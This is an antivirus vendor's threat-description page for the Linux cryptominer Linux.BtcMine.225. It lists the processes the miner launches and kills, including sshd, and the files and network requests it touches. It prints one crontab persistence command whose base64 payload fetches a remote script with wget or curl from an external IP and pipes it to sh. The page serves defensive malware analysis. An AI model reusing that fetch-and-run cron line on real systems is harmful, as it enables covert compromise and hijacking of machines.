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Linux.BtcMine.225

Added to the Dr.Web virus database: 2019-02-28

Virus description added:

Technical Information

Malicious functions:
Removes itself
Launches itself as a daemon
Substitutes application name for:
  • dvywiw
Launches processes:
  • sh -c /root/frwfuw brfrwf
  • sh -c /root/frwfuw
  • /root/frwfuw
  • sh -c /root/rmiseg crivtu
  • /root/rmiseg crivtu
  • sh -c /root/pwhwwg
  • /root/pwhwwg
  • sh -c echo '* * * * * echo -n \"bm9odXAgd2dldCAtTyAtIGh0dHA6Ly8xODUuMTY1LjE2OS42L2QvX3ouc2h8c2ggMj4mMSB8fCBub2h1cCBjdXJsIGh0dHA6Ly8xODUuMTY1LjE2OS42L2QvX3ouanBnfHNoIDI+JjEg\" | base64 -d |sh > /dev/null' | crontab -;
  • crontab -
  • sh -c /root/rsfflh
  • sh -c /root/mwdmhh crmwdm
  • /root/mwdmhh crmwdm
Kills system processes:
  • sshd
Kills the following processes:
  • kauditd
  • systemd-journal
  • systemd-udevd
  • kpsmoused
  • ttm_swap
  • kvm-irqfd-clean
  • dhclient
  • rpcbind
  • rpc.statd
  • rpciod
  • nfsiod
  • rpc.idmapd
  • cron
  • atd
  • systemd-logind
  • rsyslogd
  • acpid
  • dbus-daemon
  • agetty
  • exim4
  • kworker/0:3
  • systemd
  • (sd-pam)
  • bash
  • run.sh
  • Unknown process with PID: 733
  • /bin/sh
  • kworker/u2:0
Performs operations with the file system:
Modifies file access rights:
  • /root/frwfuw
  • /root/rmiseg
  • /root/pwhwwg
  • /root/rsfflh
  • /root/mwdmhh
Creates or modifies files:
  • /root/frwfuw
  • /root/rmiseg
  • /root/pwhwwg
  • /root/rsfflh
  • /var/spool/cron/crontabs/tmp.oq3OAs
  • /root/mwdmhh
Deletes files:
  • /root/frwfuw
  • /root/rmiseg
  • /root/pwhwwg
  • /root/rsfflh
  • /root/mwdmhh
Network activity:
HTTP GET requests:
  • 18#.##5.169.6/d/sss
  • 18#.###.169.6/d/lmmml

Curing recommendations


Linux

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